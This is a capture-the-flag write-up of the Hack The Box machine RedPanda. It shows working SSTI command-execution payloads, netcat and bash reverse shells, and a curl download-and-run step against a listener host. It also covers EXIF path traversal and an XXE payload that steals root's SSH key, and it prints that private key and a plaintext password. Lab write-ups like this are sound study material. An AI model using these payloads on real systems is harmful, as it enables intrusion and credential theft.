RedPanda HTB writeup
Posted on Tue 21 February 2023 in hackthebox
This is a writeup of the machine RedPanda from Hack The Box.
As with all the machines on Hack The Box we start by performing an nmap scan against the machine: nmap -sC -sV -oA nmap/redpanda 10.10.11.170 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 07:11 EST
Nmap scan report for 10.10.11.170
Host is up (0.034s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
110/tcp filtered pop3
111/tcp filtered rpcbind
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
199/tcp filtered smux
256/tcp filtered fw1-secureremote
443/tcp filtered https
445/tcp filtered microsoft-ds
554/tcp filtered rtsp
587/tcp filtered submission
993/tcp filtered imaps
1025/tcp filtered NFS-or-IIS
1720/tcp filtered h323q931
1723/tcp filtered pptp
3306/tcp filtered mysql
5900/tcp filtered vnc
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Content-Disposition: inline;filename=f.txt
| Content-Type: application/json
| Date: Sun, 12 Feb 2023 12:11:44 GMT
| Connection: close
| {"timestamp":"2023-02-12T12:11:44.358+00:00","status":404,"error":"Not Found","message":"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date: Sun, 12 Feb 2023 12:11:44 GMT
| Connection: close
| RTSPRequest, Socks5:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 12 Feb 2023 12:11:44 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-title: Red Panda Search | Made with Spring Boot
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=2/12%Time=63E8D780%P=x86_64-pc-linux-gnu%r(HT
SF:TPOptions,75,"HTTP/1\.1\x20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nCon
SF:tent-Length:\x200\r\nDate:\x20Sun,\x2012\x20Feb\x202023\x2012:11:44\x20
SF:GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x204
SF:00\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:
SF:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sun,\x2012\x20Feb\x202023\
SF:x2012:11:44\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><ht
SF:ml\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x2
SF:0Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-family
SF::Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;ba
SF:ckground-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size
SF::16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{c
SF:olor:black;}\x20\.line\x20{height:1px;background-color:#525D76;border:n
SF:one;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20
SF:Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,177,"HTTP/1\.1\
SF:x20404\x20\r\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method
SF:\r\nVary:\x20Access-Control-Request-Headers\r\nContent-Disposition:\x20
SF:inline;filename=f\.txt\r\nContent-Type:\x20application/json\r\nDate:\x2
SF:0Sun,\x2012\x20Feb\x202023\x2012:11:44\x20GMT\r\nConnection:\x20close\r
SF:\n\r\n{\"timestamp\":\"2023-02-12T12:11:44\.358\+00:00\",\"status\":404
SF:,\"error\":\"Not\x20Found\",\"message\":\"\",\"path\":\"/nice%20ports%2
SF:C/Tri%6Eity\.txt%2ebak\"}")%r(Socks5,24E,"HTTP/1\.1\x20400\x20\r\nConte
SF:nt-Type:\x20text/html;charset=utf-8\r\nContent-Language:\x20en\r\nConte
SF:nt-Length:\x20435\r\nDate:\x20Sun,\x2012\x20Feb\x202023\x2012:11:44\x20
SF:GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en
SF:\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request
SF:</title><style\x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,s
SF:ans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:
SF:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x
SF:20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x2
SF:0\.line\x20{height:1px;background-color:#525D76;border:none;}</style></
SF:head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request<
SF:/h1></body></html>");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.07 seconds
There are a lot of services running but the most intersting for now seems to be the Spring Boot application on http://10.10.11.170:8080/
From the title we can already see that this application was build with Spring Boot a Java Framework.
<head>
<meta charset="utf-8">
<meta author="wooden_k">
<!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
<link rel="stylesheet" href="css/panda.css" type="text/css">
<link rel="stylesheet" href="css/main.css" type="text/css">
<title>Red Panda Search | Made with Spring Boot</title>
</head>
On the page we can see a search field. Maybe we can do Server Side Template Injection. We try to detect how we can inject template code by searching for the strings from the above linked HackTricks post:
Searching for ${7*7}
we get:
Searching for #{7*7}
we get:
Searching for *{7*7}
we get:
Perfect. With this we can try to enumerate further and see whether we're able to spawn a reverse shell. Let's see if we're able to run arbitrary commands.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('which nc').getInputStream())}
This returns the following page:
So indeed we are able to execute arbitrary commands and netcat is installed on the machine.
Reverse shell
To spawn a reverse shell we first try to connect back to our machine.
For this we listen with netcat by running nc -lnvp 9001
Then we search for the following string that will run netcat to connect back.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("nc 10.10.14.17 9001").getInputStream())}
This connects back as we can see in our spawned netcat listener. No we can try to run a shell as follows:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("bash -i >& /dev/tcp/10.10.14.17/9001 0>&1").getInputStream())}
But with this command we cannot get a connection. Let's see if curl is installed. If so we can try to use curl to spawn our reverse shell.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('which curl').getInputStream())}
This returns /usr/bin/curl
which means that curl is installed.
We can now put the same bash reverse shell in a shell script and host it with a simple python web server:
mkdir www
cd www
echo -n "bash -i >& /dev/tcp/10.10.14.17/9001 0>&1" > rev.sh
python3 -m http.server 80
Then we download the reverse shell to the target machine and execute it.
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.17/rev.sh -o /dev/shm/shell.sh").getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell.sh").getInputStream())}
This gives us a reverse shell.
Before we try to read the user flag we upgrade the shell by running python3 -c 'import pty; pty.spawn("/bin/bash")'
Then we put the shell into the background and run stty raw -echo
.
After that we foreground the shell again, set the stty size with stty rows $ROWS cols $COLS
and export the correct terminal with export TERM=xterm
.
Make sure to spawn the netcat listener in a bash session and not zsh otherwise this will not work properly.
Enumerating woodenk
The user woodenk is memer of the group logs.
So let's see what files the group as access to by running find / -group logs
From the long list of results /opt/panda_search/redpanda.log
looks interesting.
If we cat the file we get the following output:
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
404||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/favicon.ico
404||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
405||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/error
200||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/search
This log contains information from the HTTP requests that are send to the Spring Boot application.
Let's see if we can find the code that writes to that log file: grep -re redpanda.log .
Binary file ./target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
./src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java: FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
We open the RequestInterceptor and see what the code does:
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
String UserAgent = request.getHeader("User-Agent");
String remoteAddr = request.getRemoteAddr();
String requestUri = request.getRequestURI();
Integer responseCode = response.getStatus();
/*System.out.println("User agent: " + UserAgent);
System.out.println("IP: " + remoteAddr);
System.out.println("Uri: " + requestUri);
System.out.println("Response code: " + responseCode.toString());*/
System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
BufferedWriter bw = new BufferedWriter(fw);
bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
bw.close();
}
This code grabs the user agent header and writes it with the response code of the request and the address of the remote machine to the file redpanda.log
.
Let's see if we find any other interesting source files with grep -re panda src/
This returns one interesting file:
src/main/java/com/panda_search/htb/panda_search/MainController.java: conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
These are the credentials used to connect to a MySQL database.
Maybe we can use these creds to login via ssh.
And indeed ssh woodenk@10.10.11.170
with password RedPandazRule
works.
Now we can read the user flag:
We further inspect the source of the panda search application.
/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
Seems to parse some kind of XML.
And /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
reads from redpanda.log.
It reads redpanda.log
line by line and checks if the line is an image by comparing the end of the line which is the requestUri
matches the extension .jpg
.
Then in parseLog
the line is split at ||
and the result is saved in a Map.
Afterwards, back in main, getArtist
is used to search for the file name from the uri in /opt/panda_search/src/main/resources/static
.
The it uses JpegMetadataReader
to probably read the exif data of the jpg file.
The value of the Artist tag is then returned from the method.
Then this artist name is use to read from an xml file in "/credits/" + artist + "_creds.xml"
.
Exploit
This looks interesting.
We start by downloading one of the jpg images.
Which we can do directly through the browser.
Then we run exiftool shy.jpg
:
ExifTool Version Number : 12.55
File Name : zwiebel.jpg
Directory : .
File Size : 224 kB
File Modification Date/Time : 2023:02:20 14:52:56-05:00
File Access Date/Time : 2023:02:20 14:52:56-05:00
File Inode Change Date/Time : 2023:02:20 14:52:56-05:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 1
Y Resolution : 1
Resolution Unit : None
Artist : damian
Y Cb Cr Positioning : Centered
Image Width : 832
Image Height : 1248
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 832x1248
Megapixels : 1.0
There we can see the Artist tag.
We can change this with exiftool as well:
exiftool -Artist=../../../../../dev/shm/zwiebel shy.jpg
Then we can upload our manipulated jpg back to the victim machine.
scp shy.jpg woodenk@10.10.11.170:/dev/shm/zwiebel.jpg
If we now would request this file the java application would read the Artist tag and search for the xml file "/credits/../../../../../dev/shm/zwiebel_creds.xml"
So we need to grab one of the credits xml files and see what we can do with that:
cat /credits/damian_creds.xml
We can only read this file through the reverse shell since user is is logs group. If we log in via ssh woodenk isn't in that group.
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>2</totalviews>
</credits>
The xml contains view counts for the author damian. Maybe we can do an XEE attack.
So we create /dev/shm/zwiebel_creds.xml
with the following contents:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///root/.ssh/id_rsa" > ]>
<credits>
<author>zwiebel</author>
<image>
<uri>/../../../../../../dev/shm/zwiebel.jpg</uri>
<views>2</views>
<data>&ext;</data>
</image>
<totalviews>3</totalviews>
</credits>
If the xml file is opened the external entity is use to read root's ssh private key.
Let's see if this works by adding the folloring entry to /opt/panda_search/redpanda.log
:
echo '200||10.10.14.17||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../dev/shm/zwiebel.jpg' > /opt/panda_search/redpanda.log' > /opt/panda_search/redpanda.log
Then after a short while we read /dev/shm/zwiebel_creds.xml
again:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>zwiebel</author>
<image>
<uri>/../../../../../../dev/shm/zwiebel.jpg</uri>
<views>3</views>
<data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
</image>
<totalviews>4</totalviews>
</credits>
And there we have the private key.
We can use this to login as root and read the rood flag.